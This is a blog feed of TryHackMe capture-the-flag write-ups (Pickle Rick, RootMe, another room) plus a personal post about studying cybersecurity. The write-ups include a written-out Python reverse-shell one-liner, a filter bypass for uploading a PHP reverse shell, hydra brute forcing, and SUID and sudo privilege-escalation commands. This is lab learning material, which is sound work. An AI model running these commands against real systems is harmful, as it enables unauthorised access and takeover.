href="https://www.exploit-db.com/exploits/46635">Exploit-db</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f3oBnNilArt0YY_uEjSuxg.png" /></figure><p>Now I had no clue what to do at this point. The program was NOT running like it was supposed to. It was starting to get frustrating. The exploit was not running because we were using python3 and the code for this particular exploit is in python2. So I ran the below command into the terminal to convert the code from python2 to python3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*8be4ZlG2IoLF36MfKTfgGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*_QDAJxvayj742doRTRq5Pw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*gOBNGP5HIbSkk4CD0byQ9w.png" /></figure><p>Once ran I got an error message soon after I took this screenshot and instead of -c, I used -crack and got an error shortly after. What was I doing wrong, and I figured it was something simple. I needed to add the /simple directory to the url.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*qfj6WKCqrXwyKMIHWukPkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*cbqkiIJvNQg_OIBwyVox_w.png" /></figure><p>Found a username. Who could have guessed? Attempt to brute force it with hydra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhKeS6op8viMistecCFV7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nx7LuUmTKLGsJBa_d41yIg.png" /></figure><p>Idk there is just something so satisfying about having the password come up in the scan. I just love it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*uojIQ0SNCxPZKVcP174mnw.png" /></figure><p>For the ssh command above, I spent about 15 minutes trying to ssh and was too stubborn to figure out how to specify a non-common port for ssh. Eventually google saved the day yet again. It’s literally just -p and then the port. A simple fix, and a mistake I will make again.</p><p>Found user.txt and read that so quick because it’s the little victories that keep me going.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/1*Z8d_MqLxa8N1URxkZXNz-w.png" /><figcaption>Dopamine hits keep me going</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/169/1*1Pay3KUO0XcCde5mfL8c9g.png" /><figcaption>found another user</figcaption></figure><p>Now after a little while checking around the machine. I got to the point where I didn’t know how to move and further. I found out that you can find what commands a user is allowed to run as root if you use the sudo -l command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*5zipuwlgZhb3U2J2rMppdw.png" /></figure><p>I can use vim to privilege escalate to root. I went to <a href="https://gtfobins.github.io/gtfobins/vim/">GTFObins</a> and got a shell I can use to break out of the restricted environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*3rHu9918U5mwLJHjx6copQ.png" /></figure><p>Now I am root, and if I thought the reading of the little file was a hit of dopamine. There is no better satisfaction than typing whoami and reading root.</p><p>Now all that’s left is navigating to the root directory and reading the root.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*_JO11Nu-EJqGZwn1g__VpQ.png" /></figure><p>That’s that. I hope you enjoyed this simple room. I know my friends and I enjoyed it. I hope you learned something, and I hope this writeup helped you in a time where you were feeling a little frustrated. I have a lot more content I am working on writing so stay tuned, because it’s coming.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a728ba535e7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pickle Rick TryHackMe CTF Writeup]]></title>
            <link>https://medium.com/@Gonz0_Sec/pickle-rick-tryhackme-ctf-e6beaef1ccfa?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6beaef1ccfa</guid>
            <category><![CDATA[pickle-rick-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Sat, 29 Jan 2022 15:55:56 GMT</pubDate>
            <atom:updated>2022-01-29T16:01:24.764Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*zUv6icQYerrlj-T1.jpg" /></figure><p>I recently completed the <a href="https://tryhackme.com/room/picklerick">Pickle Rick</a> room with a couple of friends and had a blast because it was solidifying some of the concepts I’m learning in the <a href="https://www.evolvesecurity.com/cybersecurity-remote-bootcamp?utm_term=evolve%20security%20academy&amp;utm_campaign=MH+%7C+Consumer+Remote+%232&amp;utm_source=adwords&amp;utm_medium=ppc&amp;hsa_acc=3502956580&amp;hsa_cam=11359469954&amp;hsa_grp=114981667567&amp;hsa_ad=513358863832&amp;hsa_src=g&amp;hsa_tgt=aud-621673844138:kwd-450279716851&amp;hsa_kw=evolve%20security%20academy&amp;hsa_mt=p&amp;hsa_net=adwords&amp;hsa_ver=3&amp;gclid=Cj0KCQiAxc6PBhCEARIsAH8Hff31gbmeohtGvj_MrLFbT3X5L97nd_nDZOf5A1gaznrFdkpmUhMHLB8aArILEALw_wcB">Evolve Security Academy</a>. This is how I completed the room, but just know that there are many other ways this could have been done.</p><p>The room doesn’t give us much to work with in terms of hints or pointers for the questions. It just asks for the first, second, and third ingredients Rick needs to change back from a pickle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*B9yDIuVnRnFN8zGaqmnpqQ.png" /></figure><p>First things first, enumerate with nmap. I’m using the flags -sC for scripts and -sV to enumerate versions and writing the results to initial with -oN to go back to them in the future.</p><p>I ran a gobuster scan using the medium.txt directory list and used -x to specify extensions that may be interesting. I found that if I ran the scan without the -x and specified extensions I was unable to find much. If I ran the same scan using the attack box from TryHackMe however I was able to find much more and the scan took seconds, whereas this one looks like it will take about an hour.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UN2S4vP2azMpaCbr-zcBLg.png" /></figure><p>With these directories in hand, I went to check out the website being hosted on the web server.</p><p>I checked out the page source of the home page and found a possible username in the notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*McpY32DNlGzWroGQn3S3QQ.png" /></figure><p>Moving on from there I checked out the robots.txt directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/1*0tZFC07cUSnAFk2IyifJRw.png" /></figure><p>This string of text roughly translates to “I am in great pain, please help me”. I kept it, but figured it was just a neat little Easter egg.</p><p>I traversed to login.php and took a chance with the R1ckRul3s username and used wubbalubbadubdub as the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XaklmiycJrpeb5vvy2ZZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xYjEMtXzjV45Zy7I5eRiPg.png" /></figure><p>I got this cool command panel. Now I only kinda had an idea of what to do here because I had just completed a CTF through my academy that utilized this sort of vector to gain access.</p><p>Enter once again pentestmonkey! I got the python reverse shell code &lt;python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.0”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’&gt; The command panel uses python3 so you will need to put a cute little 3 in front of the python. Make sure you modify the code with the appropriate IP address. Start a netcat listener and make sure you update the port on the code as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F3QEgA62aFa2aNsS35ARYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*npxEnXPZeOvg4pLoyOaQVw.png" /></figure><p>If everything worked out, your site should hang and you should be able to run commands on your listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*giZgVcf0DLmF3zvcC3ZEBA.png" /></figure><p>Lets get a bash shell so it’s a little easier to work with. Use &lt;python3 -c ‘import pty; pty.spawn(“/bin/bash”)’&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*RDtPjjzzSCgvPnr_udAo7Q.png" /></figure><p>From here we can run ls and cat the first ingredient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l31aGgCoY1mQ-jMn1gRyLQ.png" /></figure><p>If you look around the file system to the /home/rick directory you will find the second ingredient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*k1Co2VkR6zHADMEO5LuNDA.png" /></figure><p>Since this file has a space in the name you will need to put the name of the file in quotes to read it. I spent a little too much time wondering what was wrong with me trying to open this. I highly recommend the OverTheWire challenges, they will help with basic linux stuff that I forget all of the time.</p><p>You can make yourself root btw by just using sudo su and read the final ingredient in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*sU5tMlFVf9aG1B25EwDgMg.png" /></figure><p>There you have it. All three flags, done fairly simple. I know there are probably easier ways to do this, but this is how me and my friends were able to complete it. If you have any tips or advice, I am always looking to improve. Thanks for reading, and I hope this helped.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6beaef1ccfa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RootMe TryHackMe CTF Writeup]]></title>
            <link>https://medium.com/@Gonz0_Sec/rootme-tryhackme-ctf-writeup-6a0c699a7c3c?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a0c699a7c3c</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[privesc]]></category>
            <category><![CDATA[suid]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[root-me]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Wed, 26 Jan 2022 19:39:04 GMT</pubDate>
            <atom:updated>2022-01-27T14:50:40.665Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*Mgz4SiyGDPtR7VNO8Kh-Kw.jpeg" /></figure><p>RootMe TryHackMe CTF Writeup</p><p>This CTF took me and a couple friends an hour and a half to complete and gain root access. Not bad for our first attempt. I am using my own Kali virtual machine instead of the attack box provided by TryHackMe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*liRBszSm0ffgkhGgceR56w.png" /><figcaption>Created directories to store the information for the various CTF’s I will be completing in the future.</figcaption></figure><p>I created a RootMe directory and an nmap directory just for the sake of sanity and being able to go back to the scans once they’re complete. It is a pain to have to worry about my scan being lost in the nether with the rest of the commands being run.</p><p>Task 1: Deploy the machine. If you are using a Kali vm like me you need to download the opvn file from TryHackMe and use sudo openvpn &lt;youropvn.opvn&gt; to connect to the vpn to have access to the room.</p><p>Task 2: Reconnaissance</p><p>Scan the IP address with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*ug8rXiqwjvFQS-1EKOSFzA.png" /></figure><p>From the scan we can see that port 22 is open running SSH and port 80 is open running http. We can also see that the server is using Apache/2.4.29.</p><p>The next step in the enumeration process was run a directory scan with gobuster. The IP addresses in these scans are different because I didn’t save my gobuster scan to reference later so I re-ran the scan for theater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Ge8vOw2fnNwBuw909eJ1Vg.png" /></figure><p>From this scan we can see a few interesting directories we should take a look at; /panel and /uploads. The next step is to visit the website to see what we can see. The main homepage for the IP address that we put in our browser has very little to see. However when we move into the /panel directory we are greeted with a way to seemingly upload files into this web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*wVgQvFKRuKw3z8dkyso6cw.png" /></figure><p>With this in mind lets head over to pentestmonkey and find us a reverse shell to use to gain access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*hoewCcx9djsxyHVGgU36zA.png" /></figure><p>Once you download your php reverse shell you will need to modify the code to work for you. Change the IP to your Tun0 IP address if you’re using a vm and pick a port of your preference. The file upload has a filter that prevents files with the .php extension from being uploaded. To get around this you will need to play around with different extensions until you find the one that allows you to upload successfully. I found that .php5 is the winner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*yDklUkSlTVK4cdgZTJVyhQ.png" /></figure><p>The next step is to head over to the /uploads directory and start a netcat listener on your kali machine listening on the port you chose in the php code you uploaded. If done correctly, you should be able to click the link to the .php5 file and the site should hang. If you look back at your listener, you should be able to run simple commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*E4usRnuGKIgrPs3SYQI8Kw.png" /></figure><p>Next we are going to get a bash shell using &lt;python -c ‘import pty; pty.spawn(“/bin/bash”)’&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*p2Y2LxnWQbKe5omVvd12ig.png" /></figure><p>Now we can maneuver around directories without being afraid of ctrl+c and we are able to use the arrow keys to move the cursor around.</p><p>We now need to find the file user.txt</p><p>We can do this by using the find command. &lt;find / -type f -name user.txt 2&gt;/dev/null&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*CTmbj5zbOj-z4Djxlx6kBg.png" /></figure><p>Now we can move to that directory and read that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*bO2xzpzp9WYNNwXixPlNoQ.png" /></figure><p>The next step is to escalate privileges to root and to do this we will use SUID permissions.</p><p>Search for files with SUID permission, which file is weird?</p><p>Utilizing another find command &lt;find / -type f -user root -perm -4000 2&gt;/dev/null&gt; we are able to find /usr/bin/python we are able to exploit to gain root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*aKO_1rSPqEKNr7SSDdONNQ.png" /></figure><p>I used the python shell at this link <a href="https://gtfobins.github.io/gtfobins/python/">https://gtfobins.github.io/gtfobins/python/</a> to exploit the misconfigured capabilities. &lt;python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*f8U5p5cx8iuPCLMvYDHQ2w.png" /></figure><p>Move into the root directory and cat the root.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*xrOYqf4R3UMa0B5POaUJiA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a0c699a7c3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Am A Cyber Security Professional (sort of)]]></title>
            <link>https://medium.com/@Gonz0_Sec/i-am-a-cyber-security-professional-sort-of-63d853350692?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/63d853350692</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[veterans]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Mon, 24 Jan 2022 18:54:47 GMT</pubDate>
            <atom:updated>2022-01-27T05:08:33.512Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdEd8y5K16vdgKo-8RRsYg.jpeg" /></figure><p>I am a cyber security professional, freelance security consultant, Jr. penetration tester, cyber padawan and hacker extraordinaire…just not yet.</p><p>I have been enrolled in the <a href="https://www.evolvesecurity.com/academy/home">Evolve Security Academy</a> since October of 2021 and I am now coming towards the end of the course. Now that I am at the end of this portion of this academy I am starting to think about how I got started. Ever since I was very young I was infatuated with hackers.</p><p>I distinctly remember when I engineered my first “hack” as a skid (script kiddie). I used a windows command to shut down the computer using the command line, and disguised the command as the internet explorer icon. So when my unsuspecting mom attempted to surf the internet, she would inadvertently shut down the computer. She was not impressed and told me that since I didn’t understand what the things I was writing on the command line did, and anyone could write anything for me to employ on our only computer, that I should cease and desist. And cease I did.</p><p>A few years later I was introduced to a book called Hackers: Heroes of the computer revolution by Steven Levy. I was once again, motivated to be just like the TX-0 hackers from MIT and found that I reflected the same hacker attitude as those young kids in Michigan. The switch was flipped, I watched YouTube videos, read articles, watched movies and bookmarked pages dedicated to learning how to become a hacker. Once I get involved with something, I tend to go full bore.</p><p>One of the articles I read, stressed the importance of learning how to program to be a hacker worthy of the designation. Another rabbit hole in the path to becoming a hacker. I spent a good portion of high school learning MIT’s open coursework for Computer Science, and creating small programs to calculate the answers to my personal finance homework. I also created a short text adventure game based on the popular game Zork. It was at this time that I also began to look into joining the military, since it had always been a goal of mine. My dream of becoming a hacker was put on the back burner for the entirety of my enlistment.</p><p>I had gotten married, had a child, and was a supervisor for almost a dozen adults who were either my age or older as an NCO (non-commissioned officer). The last thing on my mind was hacking. Fortunately, I have very good friends, who after I had gotten out of active duty, steered me on the path that I am on now. After my enlistment was over I tried a variety of different career paths, but I was unhappy in all of them. It wasn’t until I resigned from the police department I was working at just prior to graduating the Field Training program that I decided it was time to finally pursue cyber security seriously.</p><p>I have realized that there is so much to learn about cyber security that it can be overwhelming at times. I’ve felt as if no matter how much time I spend learning, there is more ocean in front of me than there is behind and I kinda like that. For the first time in a long time, I am doing something full time, that there just is not enough time in the day to do. This is something that I will gladly wake up early for, and something that I spend late nights working on. I don’t mind setting aside time on the weekends to talk about the latest room on TryHackMe that someone completed or to talk about the latest vulnerability that just came out.</p><p>Right now I’m working on getting my compTIA Security+ certification, completing the jr. penetration tester learning path on TryHackMe and, marketing myself on linkedin to break in to cyber security. I decided to start this blog to showcase things I am working on and document the process I am taking to succeed as a veteran and a cyber professional. This post is a little long compared to what I intend on putting out, and if you got this far, you are a gem and you must be protected.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63d853350692" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>